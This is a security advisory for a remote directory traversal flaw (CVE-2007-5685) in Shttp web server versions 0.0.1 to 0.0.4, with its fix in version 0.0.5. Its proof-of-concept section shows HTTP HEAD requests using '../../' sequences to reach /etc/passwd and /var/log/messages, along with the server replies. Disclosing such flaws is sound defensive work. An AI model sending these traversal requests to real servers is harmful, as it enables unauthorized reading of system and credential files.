Shttp Remote Directory Traversal Vulnerability

BID:26212

Info

Shttp Remote Directory Traversal Vulnerability

Bugtraq ID: 26212
Class: Input Validation Error
CVE: CVE-2007-5685
Remote: Yes
Local: No
Published: Oct 25 2007 12:00AM
Updated: May 07 2015 05:34PM
Credit: Pete Foster is credited with the discovery of this vulnerability.
Vulnerable: Vito Caputo Shttp 0.0.4
Vito Caputo Shttp 0.0.3
Vito Caputo Shttp 0.0.2
Vito Caputo Shttp 0.0.1
Not Vulnerable: Vito Caputo Shttp 0.0.5

Discussion

Shttp Remote Directory Traversal Vulnerability

Shttp is prone to a remote directory-traversal vulnerability.

A remote attacker can exploit this issue by using directory-traversal sequences to retrieve arbitrary files on a victim user's computer.

Versions prior to Shttp0.0.5 are vulnerable to this issue.

Exploit / POC

Shttp Remote Directory Traversal Vulnerability

To exploit this issue, attackers can use readily available network utilities.

The following HTTP requests demonstrate this issue:

HEAD /../../etc/passwd HTTP/1.0

HTTP/1.1 400 Bad Request
Content-Type: text/html
Server: Shttp/ServerKit
Date: Thu, 25 Oct 2007 16:31:30 GMT
Connection: close


HEAD /../../var/log/messages HTTP/1.0

HTTP/1.1 200 OK
Content-Length: 178455
Content-Type: text/plain
Last-Modified: Thu, 25 Oct 2007 16:36:39 GMT
Server: Shttp/ServerKit
Date: Thu, 25 Oct 2007 16:42:32 GMT
Connection: close

Solution / Fix

Shttp Remote Directory Traversal Vulnerability

Solution:
The vendor released Shttp 0.0.5 to address this issue. Please see the references for more information.


Vito Caputo Shttp 0.0.1

Vito Caputo Shttp 0.0.2

Vito Caputo Shttp 0.0.3

Vito Caputo Shttp 0.0.4

References

Shttp Remote Directory Traversal Vulnerability

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